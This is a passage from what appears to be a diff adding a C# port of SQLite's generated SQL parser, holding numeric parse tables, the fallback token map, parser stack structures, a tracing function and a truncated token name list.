242, 182, +/* 1430 */ 437, 313, 201, 314, 670, 671, 672, 149, 150, 467, +/* 1440 */ 464, 34, 483, 471, 480, 184, 197, 502, 484, 5, +/* 1450 */ 485, 151, 489, 44, 141, 11, 106, 160, 225, 518, +/* 1460 */ 519, 49, 510, 108, 367, 270, 12, 155, 109, 50, +/* 1470 */ 110, 262, 376, 186, 568, 113, 142, 154, 165, 115, +/* 1480 */ 15, 283, 583, 166, 167, 380, 586, 117, 13, 120, +/* 1490 */ 372, 52, 53, 118, 591, 169, 114, 170, 595, 125, +/* 1500 */ 127, 571, 575, 602, 14, 128, 611, 612, 61, 175, +/* 1510 */ 189, 415, 302, 627, 960, 960, 960, 960, 411, +}; + static YYCODETYPE[] yy_lookahead = new YYCODETYPE[]{ +/* 0 */ 19, 142, 143, 144, 145, 24, 116, 26, 75, 76, +/* 10 */ 77, 78, 25, 80, 81, 82, 83, 84, 85, 86, +/* 20 */ 87, 88, 89, 90, 26, 27, 160, 26, 27, 48, +/* 30 */ 49, 79, 80, 81, 82, 83, 84, 85, 86, 87, +/* 40 */ 88, 89, 90, 222, 223, 224, 225, 66, 67, 68, +/* 50 */ 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, +/* 60 */ 194, 80, 81, 82, 83, 84, 85, 86, 87, 88, +/* 70 */ 89, 90, 19, 90, 19, 94, 174, 25, 25, 80, +/* 80 */ 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, +/* 90 */ 26, 27, 94, 95, 96, 94, 95, 99, 100, 101, +/* 100 */ 19, 48, 49, 150, 174, 52, 119, 166, 110, 84, +/* 110 */ 85, 86, 87, 88, 89, 90, 26, 27, 165, 66, +/* 120 */ 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, +/* 130 */ 77, 78, 186, 80, 81, 82, 83, 84, 85, 86, +/* 140 */ 87, 88, 89, 90, 19, 90, 205, 95, 84, 85, +/* 150 */ 186, 96, 97, 98, 99, 100, 101, 102, 94, 95, +/* 160 */ 195, 97, 150, 222, 109, 224, 225, 26, 104, 105, +/* 170 */ 217, 90, 120, 48, 49, 50, 86, 165, 97, 98, +/* 180 */ 99, 100, 101, 102, 94, 95, 174, 175, 1, 2, +/* 190 */ 109, 66, 67, 68, 69, 70, 71, 72, 73, 74, +/* 200 */ 75, 76, 77, 78, 191, 80, 81, 82, 83, 84, +/* 210 */ 85, 86, 87, 88, 89, 90, 19, 116, 35, 150, +/* 220 */ 12, 24, 208, 150, 222, 150, 224, 225, 216, 128, +/* 230 */ 161, 162, 150, 221, 165, 94, 28, 150, 165, 56, +/* 240 */ 165, 197, 160, 170, 171, 48, 49, 165, 204, 174, +/* 250 */ 175, 43, 165, 45, 185, 186, 174, 175, 169, 170, +/* 260 */ 171, 174, 175, 66, 67, 68, 69, 70, 71, 72, +/* 270 */ 73, 74, 75, 76, 77, 78, 194, 80, 81, 82, +/* 280 */ 83, 84, 85, 86, 87, 88, 89, 90, 19, 214, +/* 290 */ 215, 108, 150, 25, 148, 150, 64, 22, 216, 24, +/* 300 */ 146, 147, 215, 221, 231, 232, 152, 165, 154, 150, +/* 310 */ 165, 49, 170, 171, 160, 181, 182, 48, 49, 174, +/* 320 */ 175, 232, 188, 165, 165, 21, 94, 0, 1, 2, +/* 330 */ 98, 55, 174, 174, 175, 66, 67, 68, 69, 70, +/* 340 */ 71, 72, 73, 74, 75, 76, 77, 78, 194, 80, +/* 350 */ 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, +/* 360 */ 19, 129, 130, 131, 96, 61, 104, 99, 100, 101, +/* 370 */ 150, 226, 218, 231, 232, 216, 150, 196, 110, 26, +/* 380 */ 27, 105, 106, 107, 158, 165, 183, 161, 162, 48, +/* 390 */ 49, 165, 116, 166, 174, 175, 86, 87, 88, 89, +/* 400 */ 90, 247, 84, 85, 100, 136, 183, 66, 67, 68, +/* 410 */ 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, +/* 420 */ 11, 80, 81, 82, 83, 84, 85, 86, 87, 88, +/* 430 */ 89, 90, 19, 183, 150, 222, 23, 224, 225, 237, +/* 440 */ 220, 150, 138, 24, 160, 26, 22, 94, 95, 165, +/* 450 */ 26, 27, 26, 27, 89, 90, 165, 244, 174, 175, +/* 460 */ 236, 48, 49, 22, 55, 174, 175, 26, 27, 22, +/* 470 */ 23, 163, 25, 120, 166, 167, 168, 136, 194, 66, +/* 480 */ 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, +/* 490 */ 77, 78, 153, 80, 81, 82, 83, 84, 85, 86, +/* 500 */ 87, 88, 89, 90, 19, 196, 160, 150, 23, 173, +/* 510 */ 198, 220, 65, 94, 105, 106, 107, 181, 94, 95, +/* 520 */ 94, 95, 165, 96, 150, 116, 99, 100, 101, 31, +/* 530 */ 150, 174, 175, 48, 49, 94, 95, 110, 40, 165, +/* 540 */ 194, 161, 162, 166, 160, 165, 120, 166, 174, 175, +/* 550 */ 233, 66, 67, 68, 69, 70, 71, 72, 73, 74, +/* 560 */ 75, 76, 77, 78, 218, 80, 81, 82, 83, 84, +/* 570 */ 85, 86, 87, 88, 89, 90, 19, 12, 194, 150, +/* 580 */ 23, 235, 205, 166, 167, 168, 240, 150, 172, 173, +/* 590 */ 206, 207, 150, 28, 165, 190, 191, 181, 23, 150, +/* 600 */ 48, 49, 165, 174, 175, 48, 49, 165, 43, 233, +/* 610 */ 45, 174, 175, 135, 165, 137, 174, 175, 190, 191, +/* 620 */ 55, 69, 70, 66, 67, 68, 69, 70, 71, 72, +/* 630 */ 73, 74, 75, 76, 77, 78, 150, 80, 81, 82, +/* 640 */ 83, 84, 85, 86, 87, 88, 89, 90, 19, 150, +/* 650 */ 98, 165, 23, 250, 251, 150, 155, 150, 19, 22, +/* 660 */ 174, 175, 213, 26, 165, 169, 170, 171, 23, 150, +/* 670 */ 165, 150, 165, 174, 175, 19, 150, 48, 49, 174, +/* 680 */ 175, 174, 175, 27, 165, 228, 165, 112, 49, 114, +/* 690 */ 115, 165, 177, 174, 175, 66, 67, 68, 69, 70, +/* 700 */ 71, 72, 73, 74, 75, 76, 77, 78, 150, 80, +/* 710 */ 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, +/* 720 */ 19, 150, 23, 165, 25, 24, 150, 150, 232, 150, +/* 730 */ 229, 94, 174, 175, 213, 234, 165, 25, 150, 150, +/* 740 */ 150, 165, 165, 104, 165, 174, 175, 177, 109, 48, +/* 750 */ 49, 174, 175, 165, 165, 165, 19, 112, 22, 114, +/* 760 */ 115, 177, 174, 175, 27, 16, 187, 66, 67, 68, +/* 770 */ 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, +/* 780 */ 150, 80, 81, 82, 83, 84, 85, 86, 87, 88, +/* 790 */ 89, 90, 19, 150, 95, 165, 144, 145, 150, 150, +/* 800 */ 150, 150, 113, 213, 174, 175, 117, 58, 165, 60, +/* 810 */ 74, 23, 150, 165, 165, 165, 165, 174, 175, 120, +/* 820 */ 19, 48, 49, 174, 175, 174, 175, 165, 209, 166, +/* 830 */ 241, 22, 23, 166, 25, 187, 174, 175, 126, 66, +/* 840 */ 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, +/* 850 */ 77, 78, 150, 80, 81, 82, 83, 84, 85, 86, +/* 860 */ 87, 88, 89, 90, 19, 150, 150, 165, 205, 182, +/* 870 */ 86, 150, 205, 150, 65, 166, 174, 175, 206, 207, +/* 880 */ 165, 165, 177, 150, 23, 25, 165, 138, 165, 174, +/* 890 */ 175, 241, 166, 48, 49, 174, 175, 113, 165, 98, +/* 900 */ 112, 117, 114, 115, 7, 8, 9, 174, 175, 193, +/* 910 */ 187, 66, 67, 68, 69, 70, 71, 72, 73, 74, +/* 920 */ 75, 76, 77, 78, 150, 80, 81, 82, 83, 84, +/* 930 */ 85, 86, 87, 88, 89, 90, 19, 150, 97, 165, +/* 940 */ 160, 150, 177, 150, 150, 150, 248, 249, 174, 175, +/* 950 */ 97, 98, 165, 129, 130, 150, 165, 116, 165, 165, +/* 960 */ 165, 174, 175, 103, 178, 48, 49, 174, 175, 128, +/* 970 */ 165, 98, 242, 112, 194, 114, 115, 199, 187, 174, +/* 980 */ 175, 187, 109, 242, 67, 68, 69, 70, 71, 72, +/* 990 */ 73, 74, 75, 76, 77, 78, 150, 80, 81, 82, +/* 1000 */ 83, 84, 85, 86, 87, 88, 89, 90, 19, 150, +/* 1010 */ 160, 165, 209, 150, 112, 150, 114, 115, 7, 8, +/* 1020 */ 174, 175, 209, 6, 165, 29, 199, 150, 165, 33, +/* 1030 */ 165, 150, 149, 174, 175, 150, 241, 48, 49, 174, +/* 1040 */ 175, 149, 165, 47, 194, 149, 165, 16, 160, 149, +/* 1050 */ 165, 174, 175, 13, 151, 174, 175, 68, 69, 70, +/* 1060 */ 71, 72, 73, 74, 75, 76, 77, 78, 218, 80, +/* 1070 */ 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, +/* 1080 */ 19, 20, 194, 22, 150, 150, 150, 26, 27, 58, +/* 1090 */ 240, 60, 150, 160, 151, 19, 20, 36, 22, 165, +/* 1100 */ 165, 165, 26, 27, 22, 23, 150, 165, 174, 175, +/* 1110 */ 174, 175, 36, 150, 25, 54, 150, 150, 150, 150, +/* 1120 */ 23, 165, 25, 159, 150, 64, 194, 194, 165, 199, +/* 1130 */ 54, 165, 165, 165, 165, 193, 150, 174, 175, 165, +/* 1140 */ 64, 174, 175, 174, 175, 84, 85, 65, 150, 193, +/* 1150 */ 126, 165, 217, 150, 93, 94, 95, 123, 200, 98, +/* 1160 */ 84, 85, 86, 165, 105, 106, 107, 193, 165, 93, +/* 1170 */ 94, 95, 174, 175, 98, 5, 23, 116, 25, 193, +/* 1180 */ 10, 11, 12, 13, 14, 201, 23, 17, 25, 150, +/* 1190 */ 129, 130, 131, 132, 133, 134, 193, 150, 125, 124, +/* 1200 */ 30, 245, 32, 150, 165, 129, 130, 131, 132, 133, +/* 1210 */ 134, 41, 165, 19, 20, 122, 22, 202, 165, 150, +/* 1220 */ 26, 27, 150, 53, 150, 55, 160, 174, 175, 59, +/* 1230 */ 36, 22, 62, 203, 165, 26, 27, 165, 150, 165, +/* 1240 */ 193, 150, 105, 106, 107, 135, 174, 175, 54, 150, +/* 1250 */ 150, 150, 227, 165, 22, 23, 165, 150, 64, 150, +/* 1260 */ 194, 118, 174, 175, 165, 165, 165, 193, 150, 157, +/* 1270 */ 150, 157, 165, 64, 165, 105, 106, 107, 84, 85, +/* 1280 */ 23, 111, 25, 165, 193, 165, 116, 93, 94, 95, +/* 1290 */ 150, 150, 98, 84, 85, 150, 150, 65, 150, 150, +/* 1300 */ 150, 104, 150, 94, 150, 165, 165, 98, 210, 139, +/* 1310 */ 165, 165, 210, 165, 165, 165, 150, 165, 150, 165, +/* 1320 */ 121, 150, 150, 129, 130, 131, 132, 133, 134, 210, +/* 1330 */ 150, 165, 150, 165, 150, 150, 165, 165, 129, 130, +/* 1340 */ 131, 150, 150, 150, 211, 165, 150, 165, 104, 165, +/* 1350 */ 165, 23, 23, 25, 25, 211, 165, 165, 165, 176, +/* 1360 */ 23, 165, 25, 23, 23, 25, 25, 23, 211, 25, +/* 1370 */ 46, 176, 184, 103, 176, 22, 90, 176, 178, 18, +/* 1380 */ 176, 179, 176, 176, 179, 230, 230, 184, 157, 156, +/* 1390 */ 156, 44, 157, 156, 135, 157, 157, 238, 156, 239, +/* 1400 */ 157, 66, 189, 189, 22, 219, 157, 199, 18, 192, +/* 1410 */ 192, 192, 192, 189, 199, 157, 39, 243, 243, 157, +/* 1420 */ 157, 37, 246, 1, 164, 180, 180, 249, 15, 219, +/* 1430 */ 23, 252, 22, 252, 118, 118, 118, 118, 118, 113, +/* 1440 */ 98, 22, 11, 23, 23, 22, 22, 120, 23, 34, +/* 1450 */ 23, 25, 23, 25, 118, 25, 22, 102, 50, 23, +/* 1460 */ 23, 22, 27, 22, 50, 23, 34, 34, 22, 22, +/* 1470 */ 22, 109, 19, 24, 20, 104, 38, 25, 104, 22, +/* 1480 */ 5, 138, 1, 118, 34, 42, 27, 108, 22, 119, +/* 1490 */ 50, 74, 74, 127, 1, 16, 51, 121, 20, 119, +/* 1500 */ 108, 57, 51, 128, 22, 127, 23, 23, 16, 15, +/* 1510 */ 22, 3, 140, 4, 253, 253, 253, 253, 63, +}; + const int YY_SHIFT_USE_DFLT = (-111); + const int YY_SHIFT_MAX = 415; + static short[] yy_shift_ofst = new short[]{ +/* 0 */ 187, 1061, 1170, 1061, 1194, 1194, -2, 64, 64, -19, +/* 10 */ 1194, 1194, 1194, 1194, 1194, 276, 1, 125, 1076, 1194, +/* 20 */ 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, +/* 30 */ 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, +/* 40 */ 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, +/* 50 */ 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, -48, +/* 60 */ 409, 1, 1, 141, 318, 318, -110, 53, 197, 269, +/* 70 */ 341, 413, 485, 557, 629, 701, 773, 845, 773, 773, +/* 80 */ 773, 773, 773, 773, 773, 773, 773, 773, 773, 773, +/* 90 */ 773, 773, 773, 773, 773, 773, 917, 989, 989, -67, +/* 100 */ -67, -1, -1, 55, 25, 310, 1, 1, 1, 1, +/* 110 */ 1, 639, 304, 1, 1, 1, 1, 1, 1, 1, +/* 120 */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 365, +/* 130 */ 141, -17, -111, -111, -111, 1209, 81, 424, 353, 426, +/* 140 */ 441, 90, 565, 565, 1, 1, 1, 1, 1, 1, +/* 150 */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, +/* 160 */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, +/* 170 */ 1, 1, 1, 1, 1, 1, 447, 809, 327, 419, +/* 180 */ 419, 419, 841, 101, -110, -110, -110, -111, -111, -111, +/* 190 */ 232, 232, 268, 427, 575, 645, 788, 208, 861, 699, +/* 200 */ 897, 784, 637, 52, 183, 183, 183, 902, 902, 996, +/* 210 */ 1059, 902, 902, 902, 902, 275, 689, -13, 141, 824, +/* 220 */ 824, 478, 498, 498, 656, 498, 262, 498, 141, 498, +/* 230 */ 141, 860, 737, 712, 737, 656, 656, 712, 1017, 1017, +/* 240 */ 1017, 1017, 1040, 1040, 1089, -110, 1024, 1034, 1075, 1093, +/* 250 */ 1073, 1110, 1143, 1143, 1197, 1199, 1197, 1199, 1197, 1199, +/* 260 */ 1244, 1244, 1324, 1244, 1270, 1244, 1353, 1286, 1286, 1324, +/* 270 */ 1244, 1244, 1244, 1353, 1361, 1143, 1361, 1143, 1361, 1143, +/* 280 */ 1143, 1347, 1259, 1361, 1143, 1335, 1335, 1382, 1024, 1143, +/* 290 */ 1390, 1390, 1390, 1390, 1024, 1335, 1382, 1143, 1377, 1377, +/* 300 */ 1143, 1143, 1384, -111, -111, -111, -111, -111, -111, 552, +/* 310 */ 749, 1137, 1031, 1082, 1232, 801, 1097, 1153, 873, 1011, +/* 320 */ 853, 1163, 1257, 1328, 1329, 1337, 1340, 1341, 736, 1344, +/* 330 */ 1422, 1413, 1407, 1410, 1316, 1317, 1318, 1319, 1320, 1342, +/* 340 */ 1326, 1419, 1420, 1421, 1423, 1431, 1424, 1425, 1426, 1427, +/* 350 */ 1429, 1428, 1415, 1430, 1432, 1428, 1327, 1434, 1433, 1435, +/* 360 */ 1336, 1436, 1437, 1438, 1408, 1439, 1414, 1441, 1442, 1446, +/* 370 */ 1447, 1440, 1448, 1355, 1362, 1453, 1454, 1449, 1371, 1443, +/* 380 */ 1444, 1445, 1452, 1451, 1343, 1374, 1457, 1475, 1481, 1365, +/* 390 */ 1450, 1459, 1379, 1417, 1418, 1366, 1466, 1370, 1493, 1479, +/* 400 */ 1376, 1478, 1380, 1392, 1378, 1482, 1375, 1483, 1484, 1492, +/* 410 */ 1455, 1494, 1372, 1488, 1508, 1509, +}; + const int YY_REDUCE_USE_DFLT = (-180); + const int YY_REDUCE_MAX = 308; + static short[] yy_reduce_ofst = new short[]{ +/* 0 */ -141, 82, 154, 284, 12, 75, 69, 73, 142, -59, +/* 10 */ 145, 87, 159, 220, 291, 346, 226, 213, 357, 374, +/* 20 */ 429, 437, 442, 486, 499, 505, 507, 519, 558, 571, +/* 30 */ 577, 588, 630, 643, 649, 651, 662, 702, 715, 721, +/* 40 */ 733, 774, 787, 793, 805, 846, 859, 865, 877, 881, +/* 50 */ 934, 936, 963, 967, 969, 998, 1053, 1072, 1088, -179, +/* 60 */ 850, 956, 380, 308, 89, 496, 384, 2, 2, 2, +/* 70 */ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, +/* 80 */ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, +/* 90 */ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, +/* 100 */ 2, 2, 2, 416, 2, 2, 449, 579, 648, 723, +/* 110 */ 791, 134, 501, 716, 521, 794, 589, -47, 650, 590, +/* 120 */ 795, 942, 974, 986, 1003, 1047, 1074, 935, 1091, 2, +/* 130 */ 417, 2, 2, 2, 2, 158, 336, 526, 576, 863, +/* 140 */ 885, 966, 405, 428, 968, 1039, 1069, 1099, 1100, 966, +/* 150 */ 1101, 1107, 1109, 1118, 1120, 1140, 1141, 1145, 1146, 1148, +/* 160 */ 1149, 1150, 1152, 1154, 1166, 1168, 1171, 1172, 1180, 1182, +/* 170 */ 1184, 1185, 1191, 1192, 1193, 1196, 403, 403, 652, 377, +/* 180 */ 663, 667, -134, 780, 888, 933, 1066, 44, 672, 698, +/* 190 */ -98, -70, -54, -36, -35, -35, -35, 13, -35, 14, +/* 200 */ 146, 181, 227, 14, 203, 223, 250, -35, -35, 224, +/* 210 */ 202, -35, -35, -35, -35, 339, 309, 312, 381, 317, +/* 220 */ 376, 457, 515, 570, 619, 584, 687, 705, 709, 765, +/* 230 */ 726, 786, 730, 778, 741, 803, 813, 827, 883, 892, +/* 240 */ 896, 900, 903, 943, 964, 932, 930, 958, 984, 1015, +/* 250 */ 1030, 1025, 1112, 1114, 1098, 1133, 1102, 1144, 1119, 1157, +/* 260 */ 1183, 1195, 1188, 1198, 1200, 1201, 1202, 1155, 1156, 1203, +/* 270 */ 1204, 1206, 1207, 1205, 1233, 1231, 1234, 1235, 1237, 1238, +/* 280 */ 1239, 1159, 1160, 1242, 1243, 1213, 1214, 1186, 1208, 1249, +/* 290 */ 1217, 1218, 1219, 1220, 1215, 1224, 1210, 1258, 1174, 1175, +/* 300 */ 1262, 1263, 1176, 1260, 1245, 1246, 1178, 1179, 1181, +}; + static YYACTIONTYPE[] yy_default = new YYACTIONTYPE[] { +/* 0 */ 634, 869, 958, 958, 869, 958, 958, 898, 898, 757, +/* 10 */ 867, 958, 958, 958, 958, 958, 958, 932, 958, 958, +/* 20 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, +/* 30 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, +/* 40 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, +/* 50 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 841, +/* 60 */ 958, 958, 958, 673, 898, 898, 761, 792, 958, 958, +/* 70 */ 958, 958, 958, 958, 958, 958, 793, 958, 871, 866, +/* 80 */ 862, 864, 863, 870, 794, 783, 790, 797, 772, 911, +/* 90 */ 799, 800, 806, 807, 933, 931, 829, 828, 847, 831, +/* 100 */ 853, 830, 840, 665, 832, 833, 958, 958, 958, 958, +/* 110 */ 958, 726, 660, 958, 958, 958, 958, 958, 958, 958, +/* 120 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 834, +/* 130 */ 958, 835, 848, 849, 850, 958, 958, 958, 958, 958, +/* 140 */ 958, 958, 958, 958, 640, 958, 958, 958, 958, 958, +/* 150 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, +/* 160 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, +/* 170 */ 958, 882, 958, 936, 938, 958, 958, 958, 634, 757, +/* 180 */ 757, 757, 958, 958, 958, 958, 958, 751, 761, 950, +/* 190 */ 958, 958, 717, 958, 958, 958, 958, 958, 958, 958, +/* 200 */ 642, 749, 675, 759, 958, 958, 958, 662, 738, 904, +/* 210 */ 958, 923, 921, 740, 802, 958, 749, 758, 958, 958, +/* 220 */ 958, 865, 786, 786, 774, 786, 696, 786, 958, 786, +/* 230 */ 958, 699, 916, 796, 916, 774, 774, 796, 639, 639, +/* 240 */ 639, 639, 650, 650, 716, 958, 796, 787, 789, 779, +/* 250 */ 791, 958, 765, 765, 773, 778, 773, 778, 773, 778, +/* 260 */ 728, 728, 713, 728, 699, 728, 875, 879, 879, 713, +/* 270 */ 728, 728, 728, 875, 657, 765, 657, 765, 657, 765, +/* 280 */ 765, 908, 910, 657, 765, 730, 730, 808, 796, 765, +/* 290 */ 737, 737, 737, 737, 796, 730, 808, 765, 935, 935, +/* 300 */ 765, 765, 943, 683, 701, 701, 950, 955, 955, 958, +/* 310 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, +/* 320 */ 958, 958, 958, 958, 958, 958, 958, 958, 884, 958, +/* 330 */ 958, 648, 958, 667, 815, 820, 816, 958, 817, 958, +/* 340 */ 743, 958, 958, 958, 958, 958, 958, 958, 958, 958, +/* 350 */ 958, 868, 958, 780, 958, 788, 958, 958, 958, 958, +/* 360 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, +/* 370 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, +/* 380 */ 958, 906, 907, 958, 958, 958, 958, 958, 958, 914, +/* 390 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, +/* 400 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, +/* 410 */ 942, 958, 958, 945, 635, 958, 630, 632, 633, 637, +/* 420 */ 638, 641, 667, 668, 670, 671, 672, 643, 644, 645, +/* 430 */ 646, 647, 649, 653, 651, 652, 654, 661, 663, 682, +/* 440 */ 684, 686, 747, 748, 812, 741, 742, 746, 669, 823, +/* 450 */ 814, 818, 819, 821, 822, 836, 837, 839, 845, 852, +/* 460 */ 855, 838, 843, 844, 846, 851, 854, 744, 745, 858, +/* 470 */ 676, 677, 680, 681, 894, 896, 895, 897, 679, 678, +/* 480 */ 824, 827, 860, 861, 924, 925, 926, 927, 928, 856, +/* 490 */ 766, 859, 842, 781, 784, 785, 782, 750, 760, 768, +/* 500 */ 769, 770, 771, 755, 756, 762, 777, 810, 811, 775, +/* 510 */ 776, 763, 764, 752, 753, 754, 857, 813, 825, 826, +/* 520 */ 687, 688, 820, 689, 690, 691, 729, 732, 733, 734, +/* 530 */ 692, 711, 714, 715, 693, 700, 694, 695, 702, 703, +/* 540 */ 704, 707, 708, 709, 710, 705, 706, 876, 877, 880, +/* 550 */ 878, 697, 698, 712, 685, 674, 666, 718, 721, 722, +/* 560 */ 723, 724, 725, 727, 719, 720, 664, 655, 658, 767, +/* 570 */ 900, 909, 905, 901, 902, 903, 659, 872, 873, 731, +/* 580 */ 804, 805, 899, 912, 915, 917, 918, 919, 809, 920, +/* 590 */ 922, 913, 947, 656, 735, 736, 739, 881, 929, 795, +/* 600 */ 798, 801, 803, 883, 885, 887, 889, 890, 891, 892, +/* 610 */ 893, 886, 888, 930, 934, 937, 939, 940, 941, 944, +/* 620 */ 946, 951, 952, 953, 956, 957, 954, 636, 631, +}; + static int YY_SZ_ACTTAB = yy_action.Length;//(int)(yy_action.Length/sizeof(yy_action[0])) + + /* The next table maps tokens into fallback tokens. If a construct + ** like the following: + ** + ** %fallback ID X Y Z. + ** + ** appears in the grammar, then ID becomes a fallback token for X, Y, + ** and Z. Whenever one of the tokens X, Y, or Z is input to the parser + ** but it does not parse, the type of the token is changed to ID and + ** the parse is retried before an error is thrown. + */ +#if YYFALLBACK + static YYCODETYPE[] yyFallback = new YYCODETYPE[]{ +0, /* $ => nothing */ +0, /* SEMI => nothing */ +26, /* EXPLAIN => ID */ +26, /* QUERY => ID */ +26, /* PLAN => ID */ +26, /* BEGIN => ID */ +0, /* TRANSACTION => nothing */ +26, /* DEFERRED => ID */ +26, /* IMMEDIATE => ID */ +26, /* EXCLUSIVE => ID */ +0, /* COMMIT => nothing */ +26, /* END => ID */ +26, /* ROLLBACK => ID */ +26, /* SAVEPOINT => ID */ +26, /* RELEASE => ID */ +0, /* TO => nothing */ +0, /* TABLE => nothing */ +0, /* CREATE => nothing */ +26, /* IF => ID */ +0, /* NOT => nothing */ +0, /* EXISTS => nothing */ +26, /* TEMP => ID */ +0, /* LP => nothing */ +0, /* RP => nothing */ +0, /* AS => nothing */ +0, /* COMMA => nothing */ +0, /* ID => nothing */ +0, /* INDEXED => nothing */ +26, /* ABORT => ID */ +26, /* AFTER => ID */ +26, /* ANALYZE => ID */ +26, /* ASC => ID */ +26, /* ATTACH => ID */ +26, /* BEFORE => ID */ +26, /* BY => ID */ +26, /* CASCADE => ID */ +26, /* CAST => ID */ +26, /* COLUMNKW => ID */ +26, /* CONFLICT => ID */ +26, /* DATABASE => ID */ +26, /* DESC => ID */ +26, /* DETACH => ID */ +26, /* EACH => ID */ +26, /* FAIL => ID */ +26, /* FOR => ID */ +26, /* IGNORE => ID */ +26, /* INITIALLY => ID */ +26, /* INSTEAD => ID */ +26, /* LIKE_KW => ID */ +26, /* MATCH => ID */ +26, /* KEY => ID */ +26, /* OF => ID */ +26, /* OFFSET => ID */ +26, /* PRAGMA => ID */ +26, /* RAISE => ID */ +26, /* REPLACE => ID */ +26, /* RESTRICT => ID */ +26, /* ROW => ID */ +26, /* TRIGGER => ID */ +26, /* VACUUM => ID */ +26, /* VIEW => ID */ +26, /* VIRTUAL => ID */ +26, /* REINDEX => ID */ +26, /* RENAME => ID */ +26, /* CTIME_KW => ID */ +}; +#endif // * YYFALLBACK */ + + /* The following structure represents a single element of the +** parser's stack. Information stored includes: +** +** + The state number for the parser at this level of the stack. +** +** + The value of the token stored at this level of the stack. +** (In other words, the "major" token.) +** +** + The semantic value stored at this level of the stack. This is +** the information used by the action routines in the grammar. +** It is sometimes called the "minor" token. +*/ + public class yyStackEntry + { + public YYACTIONTYPE stateno; /* The state-number */ + public YYCODETYPE major; /* The major token value. This is the code +** number for the token at this stack level */ + public YYMINORTYPE minor; /* The user-supplied minor token value. This +** is the value of the token */ + }; + //typedef struct yyStackEntry yyStackEntry; + + /* The state of the parser is completely contained in an instance of + ** the following structure */ + public class yyParser + { + public int yyidx; /* Index of top element in stack */ +#if YYTRACKMAXSTACKDEPTH +int yyidxMax; /* Maximum value of yyidx */ +#endif + public int yyerrcnt; /* Shifts left before out of the error */ + public Parse pParse; // sqlite3ParserARG_SDECL /* A place to hold %extra_argument */ +#if YYSTACKDEPTH//<=0 +public int yystksz; /* Current side of the stack */ +public yyStackEntry *yystack; /* The parser's stack */ +#else + public yyStackEntry[] yystack = new yyStackEntry[YYSTACKDEPTH]; /* The parser's stack */ +#endif + }; + //typedef struct yyParser yyParser; + +#if !NDEBUG + //#include + static TextWriter yyTraceFILE = null; + static string yyTracePrompt = ""; +#endif // * NDEBUG */ + +#if !NDEBUG + /* +** Turn parser tracing on by giving a stream to which to write the trace +** and a prompt to preface each trace message. Tracing is turned off +** by making either argument NULL +** +** Inputs: +**
      +**
    • A FILE* to which trace output should be written. +** If NULL, then tracing is turned off. +**
    • A prefix string written at the beginning of every +** line of trace output. If NULL, then tracing is +** turned off. +**
    +** +** Outputs: +** None. +*/ + static void sqlite3ParserTrace(TextWriter TraceFILE, string zTracePrompt) + { + yyTraceFILE = TraceFILE; + yyTracePrompt = zTracePrompt; + if (yyTraceFILE == null) yyTracePrompt = ""; + else if (yyTracePrompt == "") yyTraceFILE = null; + } +#endif // * NDEBUG */ + +#if !NDEBUG + /* For tracing shifts, the names of all terminals and nonterminals +** are required. The following table supplies these names */ + static string[] yyTokenName = { +"$", "SEMI", "EXPLAIN", "QUERY", +"PLAN", "BEGIN", "TRANSACTION", "DEFERRED", +"IMMEDIATE", "EXCLUSIVE", "COMMIT", "END", +"ROLLBACK", "SAVEPOINT", "RELEASE", "TO", +"TABLE", "CREATE", "IF", "NOT", +"EXISTS", "TEMP", "LP", "RP", +"AS", "COMMA", "ID", "INDEXED", +"ABORT", "AFTER", "ANALYZE", "ASC", +"ATTACH", "BEFORE", "BY", "CASCADE", +"CAST", "COLUMNKW", "CONFLICT", "DATABASE", +"DESC", "DETACH", "EACH", "FAIL", +"FOR", "IGNORE", "INITIALLY", "INSTEAD", +"LIKE_KW", "MATCH", "KEY", "OF", +"OFFSET", "PRAGMA", "RAISE", "REPLACE", +"RESTRICT", "ROW", "TRIGGER", "VACUUM", +"VIEW", "VIRTUAL", "REINDEX", "RENAME", +"CTIME_KW", "ANY", "OR", "AND", +"IS", "BETWEEN", "IN", "ISNULL", +"NOTNULL", "NE", "EQ", "GT", +"LE", "LT", "GE", "ESCAPE", +"BITAND", "BITOR", "LSHIFT", "RSHIFT", +"PLUS", "MINUS", "STAR", "SLASH", +"REM", "CONCAT", "COLLATE", "UMINUS", +"UPLUS", "BITNOT", "STRING", "JOIN_KW", +"CONSTRAINT", "DEFAULT", "NULL", "PRIMARY", +"UNIQUE", "CHECK", "REFERENCES", "AUTOINCR", +"ON", "DELETE", "UPDATE", "INSERT", +"SET", "DEFERRABLE", "FOREIGN", "DROP", +"UNION", "ALL", "EXCEPT", "INTERSECT", +"SELECT", "DISTINCT", "DOT", "FROM", +"JOIN", "USING", "ORDER", "GROUP", +"HAVING", "LIMIT", "WHERE", "INTO", +"VALUES", "INTEGER", "FLOAT", "BLOB", +"REGISTER", "VARIABLE", 